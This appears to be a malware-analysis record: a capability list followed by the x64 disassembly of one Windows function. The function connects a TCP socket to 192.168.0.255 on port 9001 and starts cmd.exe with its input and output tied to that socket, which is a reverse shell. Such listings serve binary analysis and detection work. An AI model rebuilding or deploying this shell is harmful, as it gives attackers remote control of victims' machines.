Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov ecx, 0x202
lea rdx, [0x1400056c0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
lea edx, [rdi + 1]
mov ebx, 2
lea r8d, [rdi + 6]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [0x140005858], rax
lea rcx, str.192.168.0.255
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
lea edx, [rdi + 0x10]
lea rcx, str.192.168.0.255
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov word [0x140005860], bx
lea rcx, str.9001
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x140005862], ax
lea rcx, str.192.168.0.255
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x140005864], eax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8d, [rdi + 0x10]
lea rdx, [0x140005860]
mov rcx, qword [0x140005858]
call qword [sym.imp.WS2_32.dll_WSAConnect]
xorps xmm0, xmm0
movups xmmword [0x140005640], xmm0
movups xmmword [0x140005650], xmm0
movups xmmword [0x140005660], xmm0
movups xmmword [0x140005670], xmm0
movups xmmword [0x140005680], xmm0
movups xmmword [0x140005690], xmm0
mov dword [0x140005640], 0x68
mov dword [0x14000567c], 0x101
mov rax, qword [0x140005858]
mov qword [0x1400056a0], rax
mov qword [0x140005698], rax
mov qword [0x140005690], rax
movups xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140003350]
movdqu xmmword [rsp + 0x60], xmm1
movsd xmm0, qword [str.cmd.exe]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x140003338]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14000333c]
mov word [rsp + 0x5c], ax
mov word [rsp + 0x5e], di
lea rax, [0x1400056a8]
mov qword [rsp + 0x48], rax
lea rax, [0x140005640]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400012c0
mov rcx, rax
lea rdx, [0x140001470]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x140001225
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001220
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001220
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001550
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140001530
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret